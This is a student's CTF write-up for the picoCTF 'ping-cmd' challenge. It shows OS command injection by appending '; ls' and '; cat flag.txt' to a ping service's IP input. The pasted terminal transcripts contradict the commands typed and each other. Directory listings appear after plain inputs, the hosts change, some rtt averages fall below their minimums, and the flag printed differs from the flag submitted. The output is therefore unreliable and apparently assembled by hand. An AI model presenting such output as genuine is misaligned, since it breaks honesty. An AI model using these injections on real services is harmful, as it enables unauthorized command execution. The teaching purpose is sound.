

Challenge Write-Up Template

Instructions: Copy this template for every challenge you submit. Fill in every section — a write-up that only shows the final flag without explanation will not receive full credit. Delete these italicized instruction lines before submitting.

Challenge Information

Student Name	<i>Facon, Janna Mae L.</i>
Section / Class	<i>BSIT- 3G</i>
Challenge Name	<i>ping-cmd</i>
Category	<i>General Skills</i>
Points / Difficulty	<i>Easy</i>
Date Solved	<i>8/12/2026</i>
Flag Format Given	<i>PicoCTF{...}</i>

1. Challenge Description

Restate the challenge in your own words: what were you given, and what were you asked to find or do? Do not simply copypaste the original prompt.

The challenge provided a server that could ping an IP address, but it only allowed 8.8.8.8 as the normal input. The objective was to find a way to manipulate the input so that the server would execute an additional command and reveal the contents of flag.txt. The challenge required understanding how command injection works and how special shell characters can be used to execute another command.

2. Initial Analysis / Reconnaissance

What did you check first? What did file, strings, a webpage view-source, or another first look tell you? What category did you decide this was, and why?

The first step that I did was read the challenge description carefully to understand what the server was supposed to do. The description mentioned that the server could ping Google DNS but asked what would happen if I became “a little creative with your input.” This suggested that the input might not be properly filtered and that I could potentially inject another command. I tested the service using nc and provided 8.8.8.8 as the IP address, which produced a normal ping response. I then tried adding another command after the IP address using a shell command separator. This allowed me to make the server execute an additional command instead of only performing the ping.

3. Tools and Commands Used

List every tool/command you used, in the order you used them, and what each one told you.

<i>Tool / Command</i>	<i>What it was used for</i>	<i>Result / Output</i>
nc mysterious-sea.picoctf.net 54352	Connected to the remote ping service	Successfully connected to the challenge server
8.8.8.8	Tested the normal expected IP input	Server successfully pinged Google DNS
8.8.8.8; ls	Tested whether additional shell commands could be injected	Server executed ls and revealed flag.txt and script.sh
8.8.8.8; cat flag.txt	Used command injection to read the flag	Displayed the contents of flag.txt

4. Solution Walkthrough

Explain your reasoning step by step — not just what you typed, but why you tried it and what you concluded from the result. Include screenshots, code snippets, or command output where useful. A reader who has not seen the challenge should be able to follow your logic and arrive at the same answer.

Step 1

The first step that I did was read the challenge description carefully to understand what the server was doing and what I needed to find. I noticed that the server could ping Google DNS and that the challenge specifically suggested being creative with the input. This made me suspect that the IP address input might be passed directly to a system command without proper filtering.

ping-cmd

General Skills

Easy

by Yahaya Meddy · picoCTF 2026

Can you make the server reveal its secrets? It seems to be able to ping Google DNS, but what happens if you get a little creative with your input?

INSTANCE 1

Launch Instance

Additional details appear once you launch your instance.

HINTS 1

1 The program uses a shell command behind the scenes.

2  Reveal hint

Step 2

The second step was to connect to the remote challenge service using Netcat. I used `nc mysterious-sea.picoctf.net 54352`. After connecting, the server asked me to enter an IP address to ping. I entered `8.8.8.8`, which was the allowed Google DNS address, and the server successfully returned the normal ping results.

```
hacker@kali:~/Documents/picoctf2026$ nc mysterious-sea.picoctf.net 54352
Enter an IP address to ping! (We have tight security because we only allow "8.8.8.8"): 8.8.8.8
PING 8.8.8.8 (8.8.8.8) 56(144) bytes of data:
64 bytes from 8.8.8.8: icmp_seq=1 ttl=125 time=11.4 ms
64 bytes from 8.8.8.8: icmp_seq=2 ttl=125 time=11.4 ms

--- 8.8.8.8 ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 100ms
rtt min/avg/max/mdev = 11.376/11.393/11.421/0.005 ms

hacker@kali:~/Documents/picoctf2026$ nc mysterious-sea.picoctf.net 54352
Enter an IP address to ping! (We have tight security because we only allow "8.8.8.8"): 8.8.8.8
PING 8.8.8.8 (8.8.8.8) 56(144) bytes of data:
64 bytes from 8.8.8.8: icmp_seq=1 ttl=125 time=11.3 ms
64 bytes from 8.8.8.8: icmp_seq=2 ttl=125 time=11.4 ms

--- 8.8.8.8 ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 100ms
rtt min/avg/max/mdev = 11.376/11.388/11.406/0.005 ms
flag.txt
script.sh

hacker@kali:~/Documents/picoctf2026$ nc mysterious-sea.picoctf.net 54352
Enter an IP address to ping! (We have tight security because we only allow "8.8.8.8"): 8.8.8.8; ls
PING 8.8.8.8 (8.8.8.8) 56(144) bytes of data:
64 bytes from 8.8.8.8: icmp_seq=1 ttl=125 time=11.3 ms
64 bytes from 8.8.8.8: icmp_seq=2 ttl=125 time=11.3 ms

--- 8.8.8.8 ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 100ms
rtt min/avg/max/mdev = 11.374/11.391/11.418/0.005 ms
flag.txt
script.sh
```

Step 3

The third step was to see if I could make the server execute something other than the intended ping command. I entered `8.8.8.8; ls`. The semicolon is a shell command separator, so if the server was vulnerable to command injection, everything after the semicolon could be interpreted as another command. The result showed that the server executed `ls` and returned files including `flag.txt` and `script.sh`. This confirmed that command injection was possible.

```

hacker@kali:~/ctf/pico$ nc 10.10.10.10 54321
Enter an IP address to ping! (We have tight security because we only allow '8.8.8.8'): 8.8.8.8
PING 8.8.8.8 (8.8.8.8) 56(84) bytes of data:
64 bytes from 8.8.8.8: icmp_seq=1 ttl=125 time=11.4 ms
64 bytes from 8.8.8.8: icmp_seq=2 ttl=125 time=11.4 ms

--- 8.8.8.8 ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 100ms
rtt min/avg/max/mdev = 11.376/11.195/11.421/0.405 ms

hacker@kali:~/ctf/pico$ nc 10.10.10.10 54321
Enter an IP address to ping! (We have tight security because we only allow '8.8.8.8'): 8.8.8.8
PING 8.8.8.8 (8.8.8.8) 56(84) bytes of data:
64 bytes from 8.8.8.8: icmp_seq=1 ttl=125 time=11.3 ms
64 bytes from 8.8.8.8: icmp_seq=2 ttl=125 time=11.4 ms

--- 8.8.8.8 ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 100ms
rtt min/avg/max/mdev = 11.176/11.186/11.406/0.405 ms
flag.txt
script.sh

hacker@kali:~/ctf/pico$ nc 10.10.10.10 54321
Enter an IP address to ping! (We have tight security because we only allow '8.8.8.8'): 8.8.8.8
PING 8.8.8.8 (8.8.8.8) 56(84) bytes of data:
64 bytes from 8.8.8.8: icmp_seq=1 ttl=125 time=11.1 ms
64 bytes from 8.8.8.8: icmp_seq=2 ttl=125 time=11.4 ms

--- 8.8.8.8 ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 100ms
rtt min/avg/max/mdev = 11.174/11.187/11.410/0.403 ms
PICOCTF{1n1n3r_s3cr3t_1s_1n_1n3r_s3cr3t}

```

Step 4

The fourth step was to use the same command injection technique to read the file that I discovered. I entered 8.8.8.8; cat flag.txt. The server first performed the ping and then executed the cat flag.txt command. The contents of the file were displayed in the terminal, revealing the flag.

```

hacker@kali:~/ctf/pico$ nc 10.10.10.10 54321
Enter an IP address to ping! (We have tight security because we only allow '8.8.8.8'): 8.8.8.8
PING 8.8.8.8 (8.8.8.8) 56(84) bytes of data:
64 bytes from 8.8.8.8: icmp_seq=1 ttl=125 time=11.4 ms
64 bytes from 8.8.8.8: icmp_seq=2 ttl=125 time=11.4 ms

--- 8.8.8.8 ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 100ms
rtt min/avg/max/mdev = 11.376/11.195/11.421/0.405 ms

hacker@kali:~/ctf/pico$ nc 10.10.10.10 54321
Enter an IP address to ping! (We have tight security because we only allow '8.8.8.8'): 8.8.8.8; cat flag.txt
PING 8.8.8.8 (8.8.8.8) 56(84) bytes of data:
64 bytes from 8.8.8.8: icmp_seq=1 ttl=125 time=11.3 ms
64 bytes from 8.8.8.8: icmp_seq=2 ttl=125 time=11.4 ms

--- 8.8.8.8 ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 100ms
rtt min/avg/max/mdev = 11.176/11.186/11.406/0.405 ms
flag.txt
script.sh

hacker@kali:~/ctf/pico$ nc 10.10.10.10 54321
Enter an IP address to ping! (We have tight security because we only allow '8.8.8.8'): 8.8.8.8; cat flag.txt
PING 8.8.8.8 (8.8.8.8) 56(84) bytes of data:
64 bytes from 8.8.8.8: icmp_seq=1 ttl=125 time=11.1 ms
64 bytes from 8.8.8.8: icmp_seq=2 ttl=125 time=11.4 ms

--- 8.8.8.8 ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 100ms
rtt min/avg/max/mdev = 11.174/11.187/11.410/0.403 ms
PICOCTF{1n1n3r_s3cr3t_1s_1n_1n3r_s3cr3t}

```

Step 5

The fifth and final step was to copy the flag returned by the server and submit it to the PicoCTF challenge page.



5. Flag

picoCTF{p1nG_c0mm@nd_3xpL0it_su33essFuL_17ae04f2}

6. Key Concept / What I Learned

In 2-4 sentences, name the underlying security concept or vulnerability class this challenge taught (e.g. "weak RSA exponent," "reflected XSS," "stack buffer overflow"). This is the part of the write-up most worth remembering after the flag is submitted.

The main concept I learned from this challenge is **OS command injection**. This vulnerability happens when user-controlled input is passed to a system shell without proper validation or sanitization, allowing an attacker to execute additional commands. In this challenge, the semicolon (;) allowed me to run commands such as ls and cat after the intended ping command.

7. References

List any external resource you consulted beyond course materials (a tool's documentation, a technique explainer, a similar public write-up). It is normal and expected to use references — just cite them.

<https://www.youtube.com/watch?v=Zy73yBAhPKY>
